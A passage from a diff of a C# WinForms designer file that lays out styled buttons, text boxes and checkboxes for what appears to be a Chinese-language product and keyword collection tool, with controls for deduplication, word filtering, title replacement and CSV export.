this.ucGroupBoxEx2.Controls.Add(this.removeEnglishButtonX); + this.ucGroupBoxEx2.Controls.Add(this.IrregularitiesButtonX); + this.ucGroupBoxEx2.Controls.Add(this.keyWordLengthButtonX); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(377, 1); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(900, 117); + this.ucGroupBoxEx2.TabIndex = 632; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "采集参数"; + // + // btnChangeFissionTitle + // + this.btnChangeFissionTitle.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnChangeFissionTitle.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnChangeFissionTitle.DisabledBackColor = System.Drawing.Color.Empty; + this.btnChangeFissionTitle.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnChangeFissionTitle.Location = new System.Drawing.Point(583, 33); + this.btnChangeFissionTitle.Name = "btnChangeFissionTitle"; + this.btnChangeFissionTitle.Size = new System.Drawing.Size(60, 23); + this.btnChangeFissionTitle.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeFissionTitle.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnChangeFissionTitle.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnChangeFissionTitle.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnChangeFissionTitle.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnChangeFissionTitle.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnChangeFissionTitle.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnChangeFissionTitle.Style.GradientAngle = 90; + this.btnChangeFissionTitle.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnChangeFissionTitle.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnChangeFissionTitle.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnChangeFissionTitle.TabIndex = 720; + this.btnChangeFissionTitle.Text = "标题替换"; + this.btnChangeFissionTitle.Click += new System.EventHandler(this.btnChangeFissionTitle_Click); + // + // btnPicToContent + // + this.btnPicToContent.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnPicToContent.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnPicToContent.DisabledBackColor = System.Drawing.Color.Empty; + this.btnPicToContent.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnPicToContent.Location = new System.Drawing.Point(715, 33); + this.btnPicToContent.Name = "btnPicToContent"; + this.btnPicToContent.Size = new System.Drawing.Size(60, 23); + this.btnPicToContent.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnPicToContent.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnPicToContent.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnPicToContent.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnPicToContent.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnPicToContent.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnPicToContent.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnPicToContent.Style.GradientAngle = 90; + this.btnPicToContent.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnPicToContent.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnPicToContent.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnPicToContent.TabIndex = 669; + this.btnPicToContent.Text = "转内容图"; + this.btnPicToContent.Click += new System.EventHandler(this.btnPicToContent_Click); + // + // exportButtonX + // + this.exportButtonX.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.exportButtonX.CanvasColor = System.Drawing.SystemColors.Control; + this.exportButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.exportButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.exportButtonX.Location = new System.Drawing.Point(805, 66); + this.exportButtonX.Name = "exportButtonX"; + this.exportButtonX.Size = new System.Drawing.Size(60, 23); + this.exportButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.exportButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.exportButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.exportButtonX.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.exportButtonX.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.exportButtonX.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.exportButtonX.Style.GradientAngle = 90; + this.exportButtonX.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.exportButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.exportButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.exportButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.exportButtonX.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.exportButtonX.TabIndex = 686; + this.exportButtonX.Text = "导出CSV"; + this.exportButtonX.Click += new System.EventHandler(this.exportButtonX_Click); + // + // btnPicToMain + // + this.btnPicToMain.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnPicToMain.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnPicToMain.DisabledBackColor = System.Drawing.Color.Empty; + this.btnPicToMain.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnPicToMain.Location = new System.Drawing.Point(649, 33); + this.btnPicToMain.Name = "btnPicToMain"; + this.btnPicToMain.Size = new System.Drawing.Size(60, 23); + this.btnPicToMain.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnPicToMain.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnPicToMain.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnPicToMain.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnPicToMain.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnPicToMain.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnPicToMain.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnPicToMain.Style.GradientAngle = 90; + this.btnPicToMain.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnPicToMain.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnPicToMain.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnPicToMain.TabIndex = 656; + this.btnPicToMain.Text = "图片转主"; + this.btnPicToMain.Click += new System.EventHandler(this.btnPicToMain_Click); + // + // newWordTextBox + // + this.newWordTextBox.Location = new System.Drawing.Point(470, 33); + this.newWordTextBox.Name = "newWordTextBox"; + this.newWordTextBox.Size = new System.Drawing.Size(60, 23); + this.newWordTextBox.TabIndex = 682; + // + // wordReplaceButtonX + // + this.wordReplaceButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.wordReplaceButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.wordReplaceButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.wordReplaceButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.wordReplaceButtonX.Location = new System.Drawing.Point(404, 33); + this.wordReplaceButtonX.Name = "wordReplaceButtonX"; + this.wordReplaceButtonX.Size = new System.Drawing.Size(60, 23); + this.wordReplaceButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.wordReplaceButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.wordReplaceButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.wordReplaceButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.wordReplaceButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.wordReplaceButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.wordReplaceButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.wordReplaceButtonX.Style.GradientAngle = 90; + this.wordReplaceButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.wordReplaceButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.wordReplaceButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.wordReplaceButtonX.TabIndex = 681; + this.wordReplaceButtonX.Text = "替换成"; + this.wordReplaceButtonX.Click += new System.EventHandler(this.wordReplaceButtonX_Click); + // + // oldWordTextBox + // + this.oldWordTextBox.Location = new System.Drawing.Point(338, 33); + this.oldWordTextBox.Name = "oldWordTextBox"; + this.oldWordTextBox.Size = new System.Drawing.Size(60, 23); + this.oldWordTextBox.TabIndex = 677; + // + // participleButtonX + // + this.participleButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.participleButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.participleButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.participleButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.participleButtonX.Location = new System.Drawing.Point(262, 66); + this.participleButtonX.Name = "participleButtonX"; + this.participleButtonX.Size = new System.Drawing.Size(60, 23); + this.participleButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.participleButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.participleButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.participleButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.participleButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.participleButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.participleButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.participleButtonX.Style.GradientAngle = 90; + this.participleButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.participleButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.participleButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.participleButtonX.TabIndex = 676; + this.participleButtonX.Text = "一键分词"; + this.participleButtonX.Click += new System.EventHandler(this.participleButtonX_Click); + // + // toSpecialButtonX + // + this.toSpecialButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.toSpecialButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.toSpecialButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.toSpecialButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.toSpecialButtonX.Location = new System.Drawing.Point(110, 66); + this.toSpecialButtonX.Name = "toSpecialButtonX"; + this.toSpecialButtonX.Size = new System.Drawing.Size(60, 23); + this.toSpecialButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.toSpecialButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.toSpecialButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.toSpecialButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.toSpecialButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.toSpecialButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.toSpecialButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.toSpecialButtonX.Style.GradientAngle = 90; + this.toSpecialButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.toSpecialButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.toSpecialButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.toSpecialButtonX.TabIndex = 674; + this.toSpecialButtonX.Text = "去符号"; + this.toSpecialButtonX.Click += new System.EventHandler(this.toSpecialButtonX_Click); + // + // remDataButtonX + // + this.remDataButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.remDataButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.remDataButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.remDataButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.remDataButtonX.Location = new System.Drawing.Point(186, 66); + this.remDataButtonX.Name = "remDataButtonX"; + this.remDataButtonX.Size = new System.Drawing.Size(60, 23); + this.remDataButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.remDataButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.remDataButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.remDataButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.remDataButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.remDataButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.remDataButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.remDataButtonX.Style.GradientAngle = 90; + this.remDataButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.remDataButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.remDataButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.remDataButtonX.TabIndex = 675; + this.remDataButtonX.Text = "去数字"; + this.remDataButtonX.Click += new System.EventHandler(this.remDataButtonX_Click); + // + // keyWordShortButtonX + // + this.keyWordShortButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.keyWordShortButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.keyWordShortButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.keyWordShortButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.keyWordShortButtonX.Location = new System.Drawing.Point(34, 66); + this.keyWordShortButtonX.Name = "keyWordShortButtonX"; + this.keyWordShortButtonX.Size = new System.Drawing.Size(60, 23); + this.keyWordShortButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.keyWordShortButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.keyWordShortButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.keyWordShortButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.keyWordShortButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.keyWordShortButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.keyWordShortButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.keyWordShortButtonX.Style.GradientAngle = 90; + this.keyWordShortButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.keyWordShortButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.keyWordShortButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.keyWordShortButtonX.TabIndex = 673; + this.keyWordShortButtonX.Text = "短词排前"; + this.keyWordShortButtonX.Click += new System.EventHandler(this.keyWordShortButtonX_Click); + // + // toRepeatButtonX + // + this.toRepeatButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.toRepeatButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.toRepeatButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.toRepeatButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.toRepeatButtonX.Location = new System.Drawing.Point(262, 33); + this.toRepeatButtonX.Name = "toRepeatButtonX"; + this.toRepeatButtonX.Size = new System.Drawing.Size(60, 23); + this.toRepeatButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.toRepeatButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.toRepeatButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.toRepeatButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.toRepeatButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.toRepeatButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.toRepeatButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.toRepeatButtonX.Style.GradientAngle = 90; + this.toRepeatButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.toRepeatButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.toRepeatButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.toRepeatButtonX.TabIndex = 660; + this.toRepeatButtonX.Text = "去重复"; + this.toRepeatButtonX.Click += new System.EventHandler(this.toRepeatButtonX_Click); + // + // removeEnglishButtonX + // + this.removeEnglishButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.removeEnglishButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.removeEnglishButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.removeEnglishButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.removeEnglishButtonX.Location = new System.Drawing.Point(110, 33); + this.removeEnglishButtonX.Name = "removeEnglishButtonX"; + this.removeEnglishButtonX.Size = new System.Drawing.Size(60, 23); + this.removeEnglishButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.removeEnglishButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.removeEnglishButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.removeEnglishButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.removeEnglishButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.removeEnglishButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.removeEnglishButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.removeEnglishButtonX.Style.GradientAngle = 90; + this.removeEnglishButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.removeEnglishButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.removeEnglishButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.removeEnglishButtonX.TabIndex = 639; + this.removeEnglishButtonX.Text = "去英文"; + this.removeEnglishButtonX.Click += new System.EventHandler(this.removeEnglishButtonX_Click); + // + // IrregularitiesButtonX + // + this.IrregularitiesButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.IrregularitiesButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.IrregularitiesButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.IrregularitiesButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.IrregularitiesButtonX.Location = new System.Drawing.Point(186, 33); + this.IrregularitiesButtonX.Name = "IrregularitiesButtonX"; + this.IrregularitiesButtonX.Size = new System.Drawing.Size(60, 23); + this.IrregularitiesButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.IrregularitiesButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.IrregularitiesButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.IrregularitiesButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.IrregularitiesButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.IrregularitiesButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.IrregularitiesButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.IrregularitiesButtonX.Style.GradientAngle = 90; + this.IrregularitiesButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.IrregularitiesButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.IrregularitiesButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.IrregularitiesButtonX.TabIndex = 659; + this.IrregularitiesButtonX.Text = "去违规词"; + this.IrregularitiesButtonX.Click += new System.EventHandler(this.IrregularitiesButtonX_Click); + // + // keyWordLengthButtonX + // + this.keyWordLengthButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.keyWordLengthButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.keyWordLengthButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.keyWordLengthButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.keyWordLengthButtonX.Location = new System.Drawing.Point(34, 33); + this.keyWordLengthButtonX.Name = "keyWordLengthButtonX"; + this.keyWordLengthButtonX.Size = new System.Drawing.Size(60, 23); + this.keyWordLengthButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.keyWordLengthButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.keyWordLengthButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.keyWordLengthButtonX.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.keyWordLengthButtonX.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.keyWordLengthButtonX.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.keyWordLengthButtonX.Style.ForeColor.Color = System.Drawing.Color.White; + this.keyWordLengthButtonX.Style.GradientAngle = 90; + this.keyWordLengthButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.keyWordLengthButtonX.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.keyWordLengthButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.keyWordLengthButtonX.TabIndex = 635; + this.keyWordLengthButtonX.Text = "长词排前"; + this.keyWordLengthButtonX.Click += new System.EventHandler(this.keyWordLengthButtonX_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.checkBox1); + this.ucGroupBoxEx1.Controls.Add(this.label14); + this.ucGroupBoxEx1.Controls.Add(this.endPriceTextBox); + this.ucGroupBoxEx1.Controls.Add(this.startPriceTextBox); + this.ucGroupBoxEx1.Controls.Add(this.priceCheckBox); + this.ucGroupBoxEx1.Controls.Add(this.titleLengthTextBox); + this.ucGroupBoxEx1.Controls.Add(this.titleLengthCheckBox); + this.ucGroupBoxEx1.Controls.Add(this.btnCaptureTitleZc); + this.ucGroupBoxEx1.Controls.Add(this.btnCollectZc); + this.ucGroupBoxEx1.Controls.Add(this.txbSearchWord); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 1); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(374, 117); + this.ucGroupBoxEx1.TabIndex = 631; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "采集参数"; + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(154, 53); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(87, 21); + this.checkBox1.TabIndex = 646; + this.checkBox1.Text = "采集有销量"; + 